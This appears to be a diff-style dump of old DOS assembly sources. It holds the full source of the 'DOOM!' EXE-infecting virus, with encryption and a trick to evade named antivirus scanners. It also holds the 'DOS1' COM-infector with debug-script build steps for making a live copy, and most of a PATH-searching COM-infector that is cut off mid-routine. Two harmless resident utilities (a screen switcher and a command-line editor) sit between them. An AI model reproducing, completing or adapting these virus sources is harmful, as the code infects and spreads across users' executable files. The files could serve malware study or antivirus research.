inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
+272
View File
@@ -0,0 +1,272 @@
; VirusName : DOOM!
; Origin : Sweden
; Author : Raver
; Date : 23/12/93
; My second scratch contribution to this issue. It's a simple non-over-
; writing, non-destructive exe-infector that "eats up" a bit memory on
; every run. It restore date/time stamps and uses an encryption routine
; to avoid discovery from virus scanners. Of'cos no virus scanners are
; able to detect it. This includes Scan/FindViru/MSAV/CPAV/F-Prot and
; TBAV's most heuristic scanner. Well, 9 out of 10 viruses, that's nothing
; but pure bullshit!, ha!, this "wanna-be" can't find a single flag in
; this code!
; After these two moderate, educational viruses I'm planning to do some
; "fancier" memory resident viruses to the next issue. If I've got some
; time, that is. Fucking military service :)
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; DOOM!
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg segment byte public 'code'
assume cs:cseg, ds:cseg
org 100h
start_of_virus:
call get_offset
get_offset: ;alternative way to get the delta
mov di,sp ;offset without activating any flags in
mov bp,word ptr ss:[di] ;TB-scan
sub bp,offset get_offset
inc sp
inc sp
push ds ;save es & ds
push es
push cs ;and point ds to code segment
pop ds
call encrypt_decrypt ;decrypt contents of file
start_of_encryption:
cld ;clear direction flag
mov ah,1ah ;set new dta area
lea dx,[bp+dta_area]
int 21h
mov bx,es
push cs ;es points to code segment
pop es
lea si,[bp+return2_buffer] ;this code prepares the return code
lea di,[bp+return_buffer]
movsw ;transfer buffer contents
lodsw
add ax,bx ;bx holds start es = psp
add ax,10h
stosw
; lea di,[bp+stack_return]
; lea si,[bp+stack_save] ;si already points to stack_save
add di,8 ;saving a byte with this code
lodsw ;prepares the restore of ss/sp
add ax,bx
add ax,10h
stosw
movsw
mov ah,47h ;save starting directory
xor dl,dl
lea si,[bp+save_dir]
int 21h
find_new_files: ;start finding files
mov ah,4eh
mov cx,7
lea dx,[bp+search_pattern]
find_files:
int 21h
jnc open_file ;if found a file
lea dx,[bp+dir_mask] ;else change directory
mov ah,3bh
int 21h
jnc find_new_files
jmp no_more_files ;end of all files
open_file: ;open the found file
mov ax,3d02h
lea dx,[bp+dta_area+1eh]
int 21h
xchg ax,bx ;file handle in bx
mov ah,3fh ;read the exe header to exe_header
mov cx,18h
lea dx,[bp+exe_header]
int 21h
lea si,[bp+exe_header] ;check if it's really a executable
lodsw
cmp ax,'ZM'
je check_infected
cmp ax,'MZ'
je check_infected
jmp no_exe ;else jump
check_infected:
add si,10h ;saving another byte
; lea si,[bp+exe_header+12h]
lodsw
cmp ax,'Ri' ;is it already infected?
jne start_infect
jmp already_infected
start_infect:
lea di,[bp+return2_buffer] ;put the files ip/cs in return2_buffer
movsw
movsw
lea si,[bp+exe_header+0eh] ;save the files ss/sp in stack_save
movsw
movsw
lea di,[bp+exe_header+12h] ;mark the file infected
mov ax,'Ri'
stosw
mov al,2 ;go to end_of_file
call go_eof ;dx/ax is file length at return
mov cx,10h ;use div to save bytes instead of speed
div cx
sub ax,word ptr ds:[bp+exe_header+8]
xchg dx,ax
stosw ;put new ip/cs in exe_header
xchg dx,ax
stosw
inc ax ;put new suitable ss/sp in exe_header
inc ax
mov word ptr [bp+exe_header+0eh],ax
mov word ptr [bp+exe_header+10h],4b0h
mov ah,2ch ;get system time for random number
int 21h
xor dh,dh ;just alter the code a little bit
or dl,00001010b ;with encryption so TB-scan wont't
mov word ptr [bp+encryption_value],dx ;find garbage instruction
mov ah,40h ;prepare to append virus to file
lea dx,[bp+start_of_virus]
call append_virus ;call it
mov al,2 ;go to end of file
call go_eof
mov cx,512 ;get filesize in 512 modules
div cx
inc ax
mov word ptr [bp+exe_header+2],dx ;put modulo/filesize in
mov word ptr [bp+exe_header+4],ax ;exe header
xor al,al ;go to beginning of file
call go_eof
mov ah,40h ;write new exe header
mov cx,18h
lea dx,[bp+exe_header]
int 21h
lea si,[bp+dta_area+16h] ;restore time/date stamp
mov cx,word ptr [si]
mov dx,word ptr [si+2]
mov ax,5701h
int 21h
already_infected:
no_exe:
mov ah,3eh ;close file
int 21h
mov ax,4301h ;restore file attribute
mov cl,byte ptr [bp+dta_area+15h]
lea dx,[bp+dta_area+1eh]
int 21h
mov ah,4fh ;find next file
jmp find_files
no_more_files:
lea dx,[bp+save_dir] ;restore starting directory
mov ah,3bh
int 21h
pop es ;shrink memory block
mov ah,4ah
mov bx,10000
int 21h
push es
mov ah,48h ;allocate a new 3k block
mov bx,192
int 21h
jc no_mem
dec ax
mov es,ax
mov word ptr es:[1],0008h ;mark DOS as owner and it will
no_mem: ;reduce available memory to DOS
pop es ;restore old es/ds
pop ds
cli ;must use this before altering ss/sp
mov ss,word ptr cs:[bp+stack_return] ;put back original ss/sp
mov sp,word ptr cs:[bp+stack_return+2]
sti ;interrupts allowed again
end_part:
db 0eah ;jmp to original ip
return_buffer db 0,0,0,0
return2_buffer dw 0,0fff0h ;code for carrier file to exit
stack_save dd ?
stack_return dd ?
dir_mask db '..',0
search_pattern db '*.exe',0
signature db "DOOM! (c) '93 Raver/Immortal Riot"
go_eof: ;procedure to go to beginning and
mov ah,42h ;end of file
xor cx,cx ;this saves a few bytes as it's
cwd ;used a few times
int 21h
ret
end_of_encryption:
pad db 0 ;pad out a byte so first byte of
;encryption value won't be overwritten
encryption_value dw 0
encrypt_decrypt: ;cryptation routine
mov si,word ptr [bp+encryption_value]
lea di,[bp+start_of_encryption]
mov cx,(end_of_encryption-start_of_encryption+1)/2
crypt_loop:
xor word ptr [di],si
inc di
inc di
loop crypt_loop
ret
append_virus:
call encrypt_decrypt ;encrypt virus before write
mov cx,end_of_virus-start_of_virus ;cx is length of virus
int 21h ;call 40h
call encrypt_decrypt ;decrypt virus again
ret
end_of_virus:
exe_header db 18h dup(?) ;don't need to copy this shit
dta_area db 43 dup(?) ;to the next file to infect
save_dir db 64 dup(?) ;return adress is already saved!
cseg ends
end start_of_virus
+152
View File
@@ -0,0 +1,152 @@
title DOORS.ASM - Switch Color/Mono Screens On Keyboard Request
;
VECTORS segment at 0h ; 8088 / 80286 Interrupt Vector Area
org 9h*4 ; IBM PC Keyboard is Int 9H
KB_INT_VECTOR label dword ; Double word label
;
VECTORS ends
;
ROM_BIOS_DATA segment at 40h ; Low Memory "BIOS" Parameters
;
org 10h ; Location of EQUIP_FLAG
EQUIP_FLAG dw ? ; Contains video settings
; in bits 4 and 5
;
org 17h ; Location of KB_FLAG
KB_FLAG db ? ; Contains Alt (bit 3) &
; Right Shift (bit 0) States
ROM_BIOS_DATA ends
;
; Initialization Routine
;
CODE_SEG segment
assume cs:CODE_SEG
org 100h ; COM program format
BEGIN: jmp SWAP_VECTORS ; Initialize vectors and attach to DOS
;
ROM_KB_INT dd 0 ; Double word to save address of
; ROM-BIOS keyboard interrupt
; DOORS_INT intercepts the keyboard interrupt and switches
; screens if [Alt]-[Right Shift] combination is pressed
;
DOORS_INT proc near
assume ds:nothing
push ds ; Push all affected registers
push es
push ax
push bx
push cx
push dx
push si
push di
;
pushf ; Push Flags for fake interrupt call
call ROM_KB_INT ; to BIOS program to read keyboard
;
assume ds:ROM_BIOS_DATA ; Define data segment to read
mov ax,ROM_BIOS_DATA ; keyboard flag & equipment flag
mov ds,ax
mov al,KB_FLAG ; Get keyboard flag
and al,09h ; Isolate [Alt] + [Right Shift]
cmp al,09h ; Are they pressed?
jne RETURN ; No, quit
;
; [Alt] + [Right Shift] are pressed -- Continue processing
; Check on video mode - quit if not monochrome, color 80x25 or BW 80x25
;
mov ah,15 ; Call Func 15 of Int 10h to
int 10h ; get video state of the PC
cmp al,7 ; Is screen monochrome?
je SCREEN_OKAY ; Yes, go switch screens
cmp al,3 ; Is screen color text?
jbe CHECK_40_OR_80 ; Yes, go check for 80 or 40 char
jmp RETURN ; Screen is in graphics mode, quit
CHECK_40_or_80:
cmp al,1 ; Is screen 40-character?
jbe RETURN ; Yes, quit
;
SCREEN_OKAY:
;
; Save the current cursor position
;
mov ah,3 ; Call Func 3 of Int 10H
mov bh,0 ; to read cursor position
int 10h ; (page zero for color screen)
;
; Screen switch routine - Establish calling argument (AL) for Int 10h
;
mov bx,EQUIP_FLAG ; Current equipment flag to BX
mov cx,bx ; Make a copy of it in CX
and cx,30h ; Extract screen information
xor bx,cx ; Erase current screen information in BX
or bx,20h ; Set BX to color 80x25
mov al,3 ; Set AL for color 80x25 in Int 10h
cmp cx,30h ; Is current mono?
je SET_MODE ; Yes, switch to color
or bx,30h ; No, set BX for monochrome
mov al,7 ; Set AL for monochrome in Int 10h
SET_MODE:
mov EQUIP_FLAG,bx ; Write BX to equipment flag
xor ah,ah ; Use Func 0 of Int 10h to
int 10h ; change screen parameters
;
; Restore Cursor
;
mov ah,2 ; Use Func 2 of Int 10h to restore
mov bh,0 ; cursor on new screen (position in DX)
int 10h
;
; After screens are switched, set DS and ES registers to move screen data
;
mov ax,0b000h ; Load ES with Mono Segment
mov es,ax
mov ax,0b800h ; Load DS with Color Segment
mov ds,ax
cmp cx,30h ; Did we switch from mono?
jne COPY_THE_SCREEN ; Yes, move data from mono to color
push ds ; No, swap ES and DS to move data
push es ; from color to mono
pop ds
pop es
COPY_THE_SCREEN:
xor di,di ; Start at zero offsets
xor si,si
mov cx,2000 ; 2000 chars + attrs per screen
cld ; Make sure move is 'forward'
rep movsw ; Move Words with string instruction
;
RETURN:
pop di ; Restore saved registers
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
iret ; Return to system
DOORS_INT endp
;
; This procedure initializes the new keyboard interupt vectors
;
SWAP_VECTORS proc near
assume ds:VECTORS
mov ax,VECTORS ; Set up the data
mov ds,ax ; segment for vectors
cli ; Disable interrupts
mov ax,word ptr KB_INT_VECTOR ; Store addresses
mov word ptr ROM_KB_INT,ax ; of BIOS program
mov ax,word ptr KB_INT_VECTOR[2]
mov word ptr ROM_KB_INT[2],ax
mov word ptr KB_INT_VECTOR, offset DOORS_INT ; Substitute Our
mov word ptr KB_INT_VECTOR[2],cs ; Program
sti ; Enable interrupts
mov dx,offset SWAP_VECTORS ; End of new resident
; program
int 27h ; Terminate resident
SWAP_VECTORS endp
CODE_SEG ends
end BEGIN
;

@@ -0,0 +1,404 @@
; DOS-EDIT.ASM -- Resident DOS Command Line Editor
; ================================================
CSEG Segment
Assume CS:CSEG
Org 0080h
KeyboardBuffer Label Byte
Org 0100h
Entry: Jmp Initialize
; All Data
; --------
db "(C) Copyright 1985 Ziff-Davis Publishing Co."
OldInterrupt21 dd ? ; Original Interrupt 21 vector
OldInterrupt16 dd ? ; Original Interrupt 16 vector
DoingBuffKey db 0 ; Flag for doing Function Call 0Ah
BufferPointer dw KeyboardBuffer ; Pointer to Keyboard Buffer
BufferCounter db 0 ; Number of characters in buffer
MaxCharCol db ? ; Maximum Character Column on screen
OriginalCursor dw ? ; Place to save cursor on full-screen
InsertOn db 0 ; Insert mode flag
KeyRoutine dw Home,Up,PgUp,Dummy,Left,Dummy,Right
dw Dummy,End,Down,PgDn,Insert,Delete
; New Interrupt 21 (DOS Function Calls)
; -------------------------------------
NewInterrupt21 Proc Far
Mov CS:[DoingBuffKey],0 ; Turn flag off initially
Cmp AH,0Ah ; Check if doing buffered input
Jz BufferedInput
Jmp CS:[OldInterrupt21] ; If not, do regular interrupt
BufferedInput: Mov CS:[DoingBuffKey],-1 ; If so, turn on flag
PushF ; Simulate regular interrupt
Call CS:[OldInterrupt21]
Mov CS:[DoingBuffKey],0 ; Turn off flag
Mov CS:[BufferCounter],0 ; Re-set character counter
IRet ; Return to user program
NewInterrupt21 EndP
; New Interrupt 16 (BIOS Keyboard Routine)
; ----------------------------------------
NewInterrupt16 Proc Far
Sti ; Re-enable interrupts
Cmp CS:[DoingBuffKey],0 ; Check if doing call 0Ah
Jz DoNotIntercept ; If not, do old interrupt
Cmp CS:[BufferCounter],0 ; Check if chars in buffer
Jnz Substitute ; If so, get them out
Cmp AH,0 ; See if doing a get key
Jz CheckTheKey ; If so, get the key
DoNotIntercept: Jmp CS:[OldInterrupt16] ; Otherwise, do old interrupt
CheckTheKey: PushF ; Save flags
Call CS:[OldInterrupt16] ; Do regular interrupt
Cmp AX,4800h ; Check if up cursor
Jnz NotTriggerKey ; If not, don't bother
Call FullScreen ; Move around the screen
Cmp CS:[BufferCounter],0 ; Any chars to deliver?
Jz CheckTheKey ; If not, get another key
ReturnBuffer: Call GetBufferChar ; Otherwise, pull one out
Inc CS:[BufferPointer] ; Kick up the pointer
Dec CS:[BufferCounter] ; And knock down the counter
NotTriggerKey: IRet ; And go back to calling prog
; Substitute Key from Buffer
; --------------------------
Substitute: Cmp AH,2 ; See if shift status check
Jae DoNotIntercept ; If so, can't be bothered
Cmp AH,0 ; See if get a key
Jz ReturnBuffer ; If so, get the key above
Call GetBufferChar ; Otherwise get a key
Cmp CS:[BufferCounter],0 ; And clear zero flag
Ret 2 ; Return with existing flags
NewInterrupt16 EndP
; Get Buffer Character
; --------------------
GetBufferChar: Push BX
Mov BX,CS:[BufferPointer] ; Get pointer to key buffer
Mov AL,CS:[BX] ; Get the key
Sub AH,AH ; Blank out scan code
Pop BX
Ret
; Full Screen Routine
; -------------------
FullScreen: Push AX ; Save all these registers
Push BX
Push CX
Push DX
Push DI
Push DS
Push ES
Mov AX,CS ; Set AX to this segment
Mov DS,AX ; Do DS is this segment
Mov ES,AX ; And ES is also
Assume DS:CSEG, ES:CSEG ; Tell the assembler
Mov AH,0Fh ; Get Video State
Int 10h ; through BIOS
Dec AH ; Number of columns on screen
Mov [MaxCharCol],AH ; Save maximum column
; BH = Page Number throughout
Mov AH,03h ; Get cursor in DX
Int 10h ; through BIOS
Mov [OriginalCursor],DX ; And save the cursor position
Call Up ; Move cursor up
MainLoop: Cmp DH,Byte Ptr [OriginalCursor + 1] ; If at line
Jz TermFullScreen ; stated from, terminate
Mov AH,02h ; Set cursor from DX
Int 10h ; through BIOS
GetKeyboard: Mov AH,0 ; Get the next key
PushF ; By simulating Interrupt 16h
Call CS:[OldInterrupt16] ; which goes to BIOS
Cmp AL,1Bh ; See if Escape key
Jz TermFullScreen ; If so, terminate full screen
; Back Space
; ----------
Cmp AL,08h ; See if back space
Jnz NotBackSpace ; If not, continue test
Or DL,DL ; Check if cursor at left
Jz MainLoop ; If so, do nothing
Dec DL ; Otherwise, move cursor back
Call ShiftLeft ; And shift line to the left
Jmp MainLoop ; And continue for next key
; Carriage Return
; ---------------
NotBackSpace: Cmp AL,0Dh ; See if Carriage Return
Jnz NotCarrRet ; If not, continue test
Call End ; Move line into buffer
Mov AL,0Dh ; Tack on a Carriage Return
Stosb ; By writing to buffer
Inc [BufferCounter] ; One more character in buffer
Jmp MainLoop ; And continue
; Normal Character
; ----------------
NotCarrRet: Cmp AL,' ' ; See if normal character
Jb NotNormalChar ; If not, continue test
Cmp [InsertOn],0 ; Check for Insert mode
Jz OverWrite ; If not, overwrite
Call ShiftRight ; Shift line right for insert
Jmp Short NormalCharEnd ; And get ready to print
OverWrite: Mov CX,1 ; Write one character
Mov AH,0Ah ; By calling BIOS
Int 10h
NormalCharEnd: Call Right ; Cursor to right and print
Jmp MainLoop ; Back for another key
; Cursor Key, Insert, or Delete Subroutine
; ----------------------------------------
NotNormalChar: Xchg AL,AH ; Put extended code in AL
Sub AX,71 ; See if it's a cursor key
Jc GetKeyboard ; If not, no good
Cmp AX,12 ; Another check for cursor
Ja GetKeyboard ; If not, skip it
Add AX,AX ; Double for index
Mov DI,AX ; into vector table
Call [KeyRoutine + DI] ; Do the routine
Jmp MainLoop ; Back for another key
; Terminate Full Screen Movement
; ------------------------------
TermFullScreen: Mov DX,[OriginalCursor] ; Set cursor to original
Mov AH,2 ; And set it
Int 10h ; through BIOS
Pop ES ; Restore all registers
Pop DS
Pop DI
Pop DX
Pop CX
Pop BX
Pop AX
Ret ; And return to New Int. 16h
; Cursor Movement
; ---------------
Home: Mov DL,Byte Ptr [OriginalCursor] ; Move cursor to
Ret ; to original column
Up: Or DH,DH ; Check if at top row
Jz UpEnd ; If so, do nothing
Dec DH ; If not, decrement row
UpEnd: Ret
PgUp: Sub DL,DL ; Move cursor to far left
Ret
Left: Or DL,DL ; Check if cursor at far left
Jnz GoWest ; If not, move it left
Mov DL,[MaxCharCol] ; Move cursor to right
Jmp Up ; And go up one line
GoWest: Dec DL ; Otherwise, decrement column
Ret
Right: Cmp DL,[MaxCharCol] ; Check if cursor at far right
Jb GoEast ; If not, move it right
Sub DL,DL ; Set cursor to left of screen
Jmp Down ; And go down one line
GoEast: Inc DL ; Otherwise, increment column
Ret
End: Call TransferLine ; Move line to buffer
Mov DX,[OriginalCursor] ; Set cursor to original
Ret
Down: Inc DH ; Move cursor down one row
Ret
PgDn: Mov CL,[MaxCharCol] ; Get last column on screen
Inc CL ; Kick it up by one
Sub CL,DL ; Subtract current column
Sub CH,CH ; Set top byte to zero
Mov AL,' ' ; Character to write
Mov AH,0Ah ; Write blanks to screen
Int 10h ; through BIOS
Dummy: Ret
; Insert and Delete
; -----------------
Insert: Xor [InsertOn],-1 ; Toggle the InsertOn flag
Ret ; and return
Delete: Call ShiftLeft ; Shift cursor line left
Ret ; and return
; Transfer Line on Screen to Keyboard Buffer
; ------------------------------------------
TransferLine: Sub CX,CX ; Count characters in line
Mov DI,Offset KeyboardBuffer ; Place to store 'em
Mov [BufferPointer],DI ; Save that address
Cld ; String direction forward
GetCharLoop: Mov AH,02h ; Set Cursor at DX
Int 10h ; through BIOS
Mov AH,08h ; Read Character & Attribute
Int 10h ; through BIOS
Stosb ; Save the character
Inc CX ; Increment the counter
Inc DL ; Increment the cursor column
Cmp DL,[MaxCharCol] ; See if at end of line yet
Jbe GetCharLoop ; If not, continue
Dec DI ; Points to end of string
Mov AL,' ' ; Character to search through
Std ; Searching backwards
Repz Scasb ; Search for first non-blank
Cld ; Forward direction again
Jz SetBufferCount ; If all blanks, skip down
Inc CL ; Number of non-blanks
Inc DI ; At last character
SetBufferCount: Inc DI ; After last character
Mov [BufferCounter],CL ; Save the character count
Ret ; Return from routine
; Shift Line One Space Right (For Insert)
; ---------------------------------------
ShiftRight: Push DX ; Save original cursor
Mov DI,AX ; Character to insert
ShiftRightLoop: Call ReadAndWrite ; Read character and write
Inc DL ; Kick up cursor column
Cmp DL,[MaxCharCol] ; Check if it's rightmost
Jbe ShiftRightLoop ; If not, keep going
Pop DX ; Get back original cursor
Ret ; And return from routine
; Shift Line One Space Left (For Delete)
; --------------------------------------
ShiftLeft: Mov DI,0020h ; Blank at end
Mov BL,DL ; Save cursor column
Mov DL,[MaxCharCol] ; Set cursor to end of line
ShiftLeftLoop: Call ReadAndWrite ; Read character and write
Dec DL ; Kick down cursor column
Cmp DL,BL ; See if at original yet
Jge ShiftLeftLoop ; If still higher, keep going
Inc DL ; Put cursor back to original
Ret ; And return from routine
; Read and Write Character for Line Shifts
; ----------------------------------------
ReadAndWrite: Mov AH,2 ; Set Cursor from DX
Int 10h ; through BIOS
Mov AH,08h ; Read Character and Attribute
Int 10h ; through BIOS
Xchg AX,DI ; Switch with previous char
Mov CX,1 ; One character to write
Mov AH,0Ah ; Write character only
Int 10h ; through BIOS
Ret ; Return from Routine
; Initialization on Entry
; -----------------------
Initialize: Sub AX,AX ; Make AX equal zero
Mov DS,AX ; To point to vector segment
Les BX,dword ptr DS:[21h * 4]; Get and save Int. 21h
Mov Word Ptr CS:[OldInterrupt21],BX
Mov Word Ptr CS:[OldInterrupt21 + 2],ES
Les BX,dword ptr DS:[16h * 4]; Get and save Int. 16h
Mov Word Ptr CS:[OldInterrupt16],BX
Mov Word Ptr CS:[OldInterrupt16 + 2],ES
Push CS ; Restore DS register
Pop DS ; by setting to CS
Mov DX,Offset NewInterrupt21
Mov AX,2521h ; Set new Interrupt 21h
Int 21h ; through DOS
Mov DX,Offset NewInterrupt16
Mov AX,2516h ; Set new Interrupt 16h
Int 21h ; through DOS
Mov DX,Offset Initialize ; Number of bytes to stay
Int 27h ; Terminate & remain resident
CSEG EndS
End Entry

+162
View File
@@ -0,0 +1,162 @@
;DOS1 virus by the TridenT research group - Direct Action appending .COM
;This virus infects .COM files in the current directory using FCB's.
;Other than FCB use, the virus is VERY simple. Avoids infecting misnamed
;EXE files by using an 'M' at the beginning of files to mark infection.
;This virus requires a stub file made from the following debug script,
;to make it, compile the virus, then create the stub file by removing the
;semicolons from the code between the lines, saving it, and calling it
;vstub.hex. Then use the following commands:
; Debug <vstub.hex
; Copy /b vstub.com+dos1.com virus.com
;And you will have a live copy of the DOS-1 virus. Please be careful
;with it and do not release it.
;-=-=-=-=-=-=-=-=-=-=-=-=-=ð[Begin Debug Script]ð=-=-=-=-=-=-=-=-=-=-=-=-=
;e100 4d eb 6 90 90
;rbx
;0
;rcx
;5
;nvstub.com
;w
;q
;-=-=-=-=-=-=-=-=-=-=-=-=-=ð[End Debug Script]ð=-=-=-=-=-=-=-=-=-=-=-=-=
;Disassembly by Black Wolf
.model tiny
.code
org 100h
start:
dec bp
nop
int 20h
HostFile: ;Not present to preserve original compiler offsets.....
Virus_Entry:
call GetOffset
Displacement:
db 'DOS-1',0
GetOffset:
pop si
sub si,offset Displacement-start
cld
mov di,100h
push di ;Push DI on stack for ret...
push si ;Restore host file...
movsw
movsw
pop si
lea dx,[si+VirusDTA-start] ;set DS:DX = DTA
call SetDTA
mov ax,1100h ;Find first filename w/FCB's
FindFirstNext:
lea dx,[si+SearchString-start]
int 21h ;Find first/next filename
;using FCB's (*.COM)
or al,al ;Were any .COM files found?
jnz ResetDTA ;No.... exit virus.
lea dx,[si+VirusDTA-start]
mov ah,0fh
int 21h ;open .COM file w/FCB
or al,al ;Successful?
jnz FindNextFile ;No - find another.
push dx ;Push offset of DTA
mov di,dx
mov word ptr [di+0Eh],1 ;Set bytes per record to 1
xor ax,ax
mov [di+21h],ax ;Set Random Record Num to 0
mov [di+23h],ax ;?
lea dx,[si]
call SetDTA ;Set DTA to just before virus
;code in memory - Storage bytes..
lea dx,[di] ;DX = Virus DTA
mov ah,27h
mov cx,4
int 21h ;Read first 4 bytes w/FCB
cmp byte ptr [si],'M' ;Is it an EXE file or infected?
je CloseFile ;exit...
mov ax,[di+10h] ;AX = Filesize
mov [di+21h],ax ;Set current record to EOF
cmp ax,0F800h ;Is file above F800h bytes?
ja CloseFile ;Too large, exit
push ax
lea dx,[si]
call SetDTA ;Set DTA to storage bytes/virus.
lea dx,[di]
mov ah,28h
mov cx,end_virus-start
int 21h ;Write virus to end of file.
xor ax,ax
mov [di+21h],ax ;Reset file to beginning.
lea di,[si] ;Point DI to DTA
mov ax,0E94Dh ;4dh E9h = marker and jump
stosw
pop ax ;AX = jump size
stosw ;Put marker and jump into DTA
push dx
lea dx,[si]
call SetDTA ;Set DTA for write
pop dx
mov ah,28h
mov cx,4
int 21h ;Write in ID byte 'M' and jump
CloseFile:
pop dx
call SetDTA
mov ah,10h
int 21h ;Close file w/FCB
FindNextFile:
mov ah,12h
jmp short FindFirstNext ;Find next file...
ResetDTA:
mov dx,80h ;80h = default DTA
call SetDTA
retn
SetDTA:
mov ah,1Ah
int 21h ;Set DTA to DS:DX
retn
db 'MK' ;Musad Khafir's signature
SearchString:
db 0 ;Default Drive
db '????????COM' ;Search for all .COM files.
end_virus:
org 1d1h
VirusDTA:
end start
+636
View File
@@ -0,0 +1,636 @@
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************
VCODE: JMP virus
;This was the rest of the original .COM file. Tiny and simple, this time
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
;************************************************************
; The actual virus starts here
;************************************************************
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
;*************************************************************
; Check the DOS version
;*************************************************************
MOV AH,30H
INT 21H
CMP AL,0 ;0 means it's version 1.X
JNZ dos_ok ;For version 2.0 or greater
JMP quit ;Don't try to infect version 1.X
;*************************************************************
; Here if the DOS version is high enough for this to work
;*************************************************************
dos_ok: PUSH ES
;*************************************************************
; Get DTA address into ES:BX
;*************************************************************
MOV AH,2FH
INT 21H
;*************************************************************
; Save the DTA address
;*************************************************************
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
;*************************************************************
; Set DTA to point inside the virus data area
;*************************************************************
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
;************************************************************
; Find the "PATH=" string in the environment
;************************************************************
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
;************************************************************
; Loop to check for the next four characters
;************************************************************
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
;**********************************************************
; Look in the PATH for more subdirectories, if any
;**********************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
;**********************************************************
; Here if there are more subdirectories in the path
;**********************************************************
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
;***********************************************************
; Move subdirectory name into file name workspace
;***********************************************************
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************
moved_last_one:
MOV SI,0
;******************************************************************
; Here after we've moved a subdirectory
;******************************************************************
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
;******************************************************************
; Make sure subdirectory ends in a "\"
;******************************************************************
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
;******************************************************************
; Here after we know there's a backslash at end of subdir
;******************************************************************
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
;*******************************************************************
; Find first string matching *.COM
;*******************************************************************
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
;*******************************************************************
; Find next ASCIIZ string matching *.COM
;*******************************************************************
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
;*******************************************************************
; Here when we find a file
;*******************************************************************
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
;********************************************************************
; Move the name to the end of the path
;********************************************************************
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
;********************************************************************
; Get File Attributes
;********************************************************************
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
;********************************************************************
; Rewrite the attributes to allow writing to the file
;********************************************************************
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
